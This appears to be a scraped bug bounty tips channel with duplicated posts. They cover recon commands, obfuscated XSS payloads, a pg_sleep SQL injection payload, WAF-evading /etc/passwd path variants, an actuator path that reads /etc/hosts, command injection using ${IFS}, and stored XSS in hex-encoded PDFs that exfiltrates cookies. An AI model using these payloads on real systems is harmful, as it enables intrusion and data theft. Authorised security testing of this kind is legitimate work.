π₯Bug Bounty Tip: Don't Overlook Image Endpoints!π₯
πDid you know 95% of hunters remove image files from their endpoint scans? Here's how Orwa found sensitive information by focusing on them:
1. Gather All Target Endpoints: Collect endpoints from your target.
2. Filter for Image Extensions: Use a simple command to isolate image URLs.
cat endpoints.txt | egrep 'jpg|jpeg|png' > results.txt
3. Check for Live URLs: Ensure the filtered image URLs are active.
4. Use a Screenshot Tool: Automate the process of taking screenshots of these URLs to quickly spot sensitive information.
βΉοΈ Success Story by GodfatherOrwa:
-He found a passport image at
- Visiting
- The result? Tons of exposed PII!
πAlways check image file endpoints (.jpg, .jpeg, .png, etc.). You might find more than you expect!
Happy hunting, everyone! β₯
Credit: @godfatherorwa
#bugbountytips #bugbountytip #bugbounty
πDid you know 95% of hunters remove image files from their endpoint scans? Here's how Orwa found sensitive information by focusing on them:
1. Gather All Target Endpoints: Collect endpoints from your target.
2. Filter for Image Extensions: Use a simple command to isolate image URLs.
cat endpoints.txt | egrep 'jpg|jpeg|png' > results.txt
3. Check for Live URLs: Ensure the filtered image URLs are active.
4. Use a Screenshot Tool: Automate the process of taking screenshots of these URLs to quickly spot sensitive information.
βΉοΈ Success Story by GodfatherOrwa:
-He found a passport image at
app[.]com/xxxx/cdn/file/xxx.jpg.- Visiting
app[.]com/xxxx/cdn/ revealed an open directory listing.- The result? Tons of exposed PII!
πAlways check image file endpoints (.jpg, .jpeg, .png, etc.). You might find more than you expect!
Happy hunting, everyone! β₯
Credit: @godfatherorwa
#bugbountytips #bugbountytip #bugbounty
π5
actuator/env
actuator/auditevents
actuator/beans
actuator/caches
actuator/configprops
actuator/health
actuator/heapdump
actuator/info
actuator/integrationgraph
actuator/configprops
actuator/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/hosts
#bugbountytip #bugbountytips #bugbounty
Please open Telegram to view this post
VIEW IN TELEGRAM
π3
Add 'app/config/config.local.neon' to the wordlist, and maybe you will get juicy data.
By: @NoRed0x
#bugbountytips #bugbountytip
By: @NoRed0x
#bugbountytips #bugbountytip
π5β€2π1
If you're into generating subdomains quickly π
check out this website: husseinphp.github.io/subdomain/
#bugbountytips #bugbountytip #BugBounty
check out this website: husseinphp.github.io/subdomain/
#bugbountytips #bugbountytip #BugBounty
β€6
Find sensitive files using Wayback
#bugbountytip #bugbounty #bugbountytips
waybackurls 123.com | grep - -color -E "1.xls | \\.tar.gz | \\.bak | \\.xml | \\.xlsx | \\.json | \\.rar | \\.pdf | \\.sql | \\.doc | \\.docx | \\.pptx | \\.txt | \\.zip | \\.tgz | \\.7z"
#bugbountytip #bugbounty #bugbountytips
1π13β€4π₯3
a XSS payload with Alert Obfuscation, for bypass Regex filter
#infosec #cybersec #bugbountytip
<img src="X" onerror=top[8680439..toString(30)](1337)>
<script>top[8680439..toString(30)](1337)</script>
#infosec #cybersec #bugbountytip
β€12π6
Exploit AWS metadata & user data access in Bug Bounty & CTF challenges!
π https://github.com/Lu3ky13/Unauthorized-Access-to-Metadata-and-User-Data-like-CTF
#BugBounty #bugbountytip
π https://github.com/Lu3ky13/Unauthorized-Access-to-Metadata-and-User-Data-like-CTF
#BugBounty #bugbountytip
π9
π Tip: Always inspect main.js files for exposed keys.
#bugbountytip #bugbounty #infosec #hacking #hacker
Please open Telegram to view this post
VIEW IN TELEGRAM
β€13π7π₯3
π Ultimate Secret Scanner Regex Collection π
30+ regex patterns to detect leaked credentials:
β API keys (Google, AWS, Stripe)
β Auth tokens (OAuth, JWT)
β Private keys (RSA, PGP)
β Emails, URLs, UUIDs
https://github.com/Lu3ky13/Search-for-all-leaked-keys-secrets-using-one-regex-/tree/main
#bugbounty #bugbountytip
30+ regex patterns to detect leaked credentials:
β API keys (Google, AWS, Stripe)
β Auth tokens (OAuth, JWT)
β Private keys (RSA, PGP)
β Emails, URLs, UUIDs
https://github.com/Lu3ky13/Search-for-all-leaked-keys-secrets-using-one-regex-/tree/main
#bugbounty #bugbountytip
π14πΏ12β€2
Hey Hunterβs
DarkShadow here back again!
bugbounty tip:
[easy to find critical bugs, follow this method]
1. find a api sensitive endpoint (must be leak sensitive info)
2. look headers "Cache-Control, CF-Cache-Status, Via, X-Cache, ETag, Age" confirm they store cache or not. (if stored try web cache deception)
3. change the HTTP request method (like: GET to POST, GET to HEAD, POST to PUT etc.)
4. if you find endpoints like: /api/users/123 use array based iDOR vulnerability (like: /api/users/123,122)
Donβt forget to show your love guys.
#bugbountytip #authbypass
DarkShadow here back again!
bugbounty tip:
[easy to find critical bugs, follow this method]
1. find a api sensitive endpoint (must be leak sensitive info)
2. look headers "Cache-Control, CF-Cache-Status, Via, X-Cache, ETag, Age" confirm they store cache or not. (if stored try web cache deception)
3. change the HTTP request method (like: GET to POST, GET to HEAD, POST to PUT etc.)
4. if you find endpoints like: /api/users/123 use array based iDOR vulnerability (like: /api/users/123,122)
Donβt forget to show your love guys.
#bugbountytip #authbypass
β€32π₯5π3π3π¨βπ»1
βΎBug Bounty Tip: Bypassing WAFs for Stored XSS via ASCII-Hex Encoded PDF Payloads
β‘οΈMany platforms allow users to upload PDFs that get previewed/rendered directly in the browser (often using libraries like PDF.js in Firefox, Chrome extensions, embedded viewers, or custom implementations).
A clever trick for Stored XSS (or Blind XSS variants):
1. Craft a classic XSS payload (e.g., one that executes alert(document.domain) or exfiltrates cookies/tokens).
2. Encode the entire malicious JavaScript as ASCII hex (each character β \xHH format).
3. Embed it inside a tiny/valid PDF structure that triggers execution during font/glyph rendering or object parsing in vulnerable PDF renderers.
4. Upload the PDF to a target feature that stores and previews user-uploaded documents (profile, reports, tickets, resumes, invoices, shared files, etc.).
5. When a victim (admin, user, or support) previews/opens the PDF in a vulnerable renderer β XSS fires in the context of the PDF viewer.
β‘οΈKey advantages:
- Many WAFs / upload filters / content scanners completely miss it because it's not a classic <script> or HTML β it's binary-ish PDF content with hex-encoded JS.
- Can be tuned for Stored β persistent until deleted.
- Can be adapted for Blind XSS β exfiltrate to your server instead of alert().
π¬Real-world notes from hunters:
- Works especially well against PDF.js-based previews (Firefox default, many web apps embed it).
- Reference: Similar to behavior seen in CVE-2024-4367 (arbitrary JS exec in PDF.js via font handling path).
- Impact varies:
- Self-XSS / low-priv user alert β usually P4βP5 or Informational.
- Admin views it β potential session theft / higher severity (P2βP3 possible if you can prove escalation).
- Some programs reject pure alert() PoCs in sandboxed viewers (no cookie access in most cases) β demonstrate real impact (e.g., redirect, keylogger, token exfil) or target-specific quirks.
- Pro tip: Test on your primary programs that have PDF preview/generation features β many still do!
β‘οΈResources to start:
- Repo with example payloads: https://github.com/orwagodfather/XSS-Payloads
- Edit payloads easily in Notepad++ (hex view or find/replace).
Happy hunting β stay ethical & report responsibly! π
Photo Credit- Orwa
#bugbountytip #bugbounty #xss #websecurity #pdfxss
β‘οΈMany platforms allow users to upload PDFs that get previewed/rendered directly in the browser (often using libraries like PDF.js in Firefox, Chrome extensions, embedded viewers, or custom implementations).
A clever trick for Stored XSS (or Blind XSS variants):
1. Craft a classic XSS payload (e.g., one that executes alert(document.domain) or exfiltrates cookies/tokens).
2. Encode the entire malicious JavaScript as ASCII hex (each character β \xHH format).
3. Embed it inside a tiny/valid PDF structure that triggers execution during font/glyph rendering or object parsing in vulnerable PDF renderers.
4. Upload the PDF to a target feature that stores and previews user-uploaded documents (profile, reports, tickets, resumes, invoices, shared files, etc.).
5. When a victim (admin, user, or support) previews/opens the PDF in a vulnerable renderer β XSS fires in the context of the PDF viewer.
β‘οΈKey advantages:
- Many WAFs / upload filters / content scanners completely miss it because it's not a classic <script> or HTML β it's binary-ish PDF content with hex-encoded JS.
- Can be tuned for Stored β persistent until deleted.
- Can be adapted for Blind XSS β exfiltrate to your server instead of alert().
π¬Real-world notes from hunters:
- Works especially well against PDF.js-based previews (Firefox default, many web apps embed it).
- Reference: Similar to behavior seen in CVE-2024-4367 (arbitrary JS exec in PDF.js via font handling path).
- Impact varies:
- Self-XSS / low-priv user alert β usually P4βP5 or Informational.
- Admin views it β potential session theft / higher severity (P2βP3 possible if you can prove escalation).
- Some programs reject pure alert() PoCs in sandboxed viewers (no cookie access in most cases) β demonstrate real impact (e.g., redirect, keylogger, token exfil) or target-specific quirks.
- Pro tip: Test on your primary programs that have PDF preview/generation features β many still do!
β‘οΈResources to start:
- Repo with example payloads: https://github.com/orwagodfather/XSS-Payloads
- Edit payloads easily in Notepad++ (hex view or find/replace).
Happy hunting β stay ethical & report responsibly! π
Photo Credit- Orwa
#bugbountytip #bugbounty #xss #websecurity #pdfxss
π«‘7π₯5β€3
Hey Hunter's,
DarkShadow here back again, dropping a RCE in mail input field!
Listen, this is very important.
I Hope this method also help you to improve your bug hunting. Now guys show your love β€οΈ
#bugbountytip #rce
DarkShadow here back again, dropping a RCE in mail input field!
Listen, this is very important.
1. When a sign-in/sign-up page comes, use a normal email using your burp collaborator.
2. If you got any HTTP hit back in your burp, then don't stop thinking by SSRF.
3. Now test command injection payload on the mail input field.
4. Don't use URL encoding in space like %20 always use ${IFS} to replace spaces.
5. It's essential when you try here RCE also try blind OS injection payloads.
I Hope this method also help you to improve your bug hunting. Now guys show your love β€οΈ
#bugbountytip #rce
β€8π₯8π1
Hey Hunter's,
DarkShadow is here back again, and dropping again a RCE method!
πSteps to reproduce:β οΈ
1. Collect all possible js endpoints.
You can use my DarkEndFinder for quick js find.
2. Grep .map files from js files.
3. Use jsmap-inspector to debug clearly
4. Read manually one by one js logics and note down all the critical endpoints
5. Now play in your burp also use curl
AND I HOPE YOU KNOW WHAT SHOULD YOU DO NEXT... ALSO READ THE IMAGES.
Tip:
To collect more js use wayback machine urls.
So guy's if you really enjoyed to read methods then show your loveβ€οΈ
#bugbountytip #rce
DarkShadow is here back again, and dropping again a RCE method!
πSteps to reproduce:β οΈ
1. Collect all possible js endpoints.
You can use my DarkEndFinder for quick js find.
2. Grep .map files from js files.
3. Use jsmap-inspector to debug clearly
4. Read manually one by one js logics and note down all the critical endpoints
5. Now play in your burp also use curl
AND I HOPE YOU KNOW WHAT SHOULD YOU DO NEXT... ALSO READ THE IMAGES.
Tip:
To collect more js use wayback machine urls.
So guy's if you really enjoyed to read methods then show your loveβ€οΈ
#bugbountytip #rce
β€13π₯3π3π«‘2π1
Hey Hunter's,
DarkShadow is hare back again!
Well this is Not releted any POC or Method, This is a burp suite Ai extension which is really really awesome. So don't forget to try it π
https://github.com/six2dez/burp-ai-agent
#bugbountytip #tool
DarkShadow is hare back again!
Well this is Not releted any POC or Method, This is a burp suite Ai extension which is really really awesome. So don't forget to try it π
https://github.com/six2dez/burp-ai-agent
#bugbountytip #tool
β€19
Bug Bounty Tip β SQL Injection
Hard-to-exploit SQL injection?
This time-based payload worked when others failed:
Add it to your SQL wordlist.
Download - https://github.com/orwagodfather/SQL-Wordlist/blob/main/sql.txt
Credit: @GodfatherOrwa
Happy hunting β₯
#bugbounty #bugbountytips #bugbountytip
Hard-to-exploit SQL injection?
This time-based payload worked when others failed:
''||(select 1 from (select pg_sleep(6))x)||'
Add it to your SQL wordlist.
Download - https://github.com/orwagodfather/SQL-Wordlist/blob/main/sql.txt
Credit: @GodfatherOrwa
Happy hunting β₯
#bugbounty #bugbountytips #bugbountytip
1β€10πΏ3π₯2π1
Search for all leaked keys/secrets using one regex!
regex: https://gist.github.com/h4x0r-dz/be69c7533075ab0d3f0c9b97f7c93a59
#BugBounty #bugbountytip
regex: https://gist.github.com/h4x0r-dz/be69c7533075ab0d3f0c9b97f7c93a59
#BugBounty #bugbountytip
π±8π4β€3π3π₯1
π¨Search for all leaked keys/secrets using one regex!
β regex: https://gist.github.com/h4x0r-dz/be69c7533075ab0d3f0c9b97f7c93a59
#BugBounty #bugbountytip
β regex: https://gist.github.com/h4x0r-dz/be69c7533075ab0d3f0c9b97f7c93a59
#BugBounty #bugbountytip
π€¨6β€4π₯3πΏ2
/etc/passwd ==> WAF restriction? Use these:
/e?c/?asswd
/e*c/*asswd
/??c/?asswd
/??c/?assw?
Doesn't work always, just give it a try. π―
#bugbountytip #bugbountytips #bugbounty
/e?c/?asswd
/e*c/*asswd
/??c/?asswd
/??c/?assw?
Doesn't work always, just give it a try. π―
#bugbountytip #bugbountytips #bugbounty
β€20π3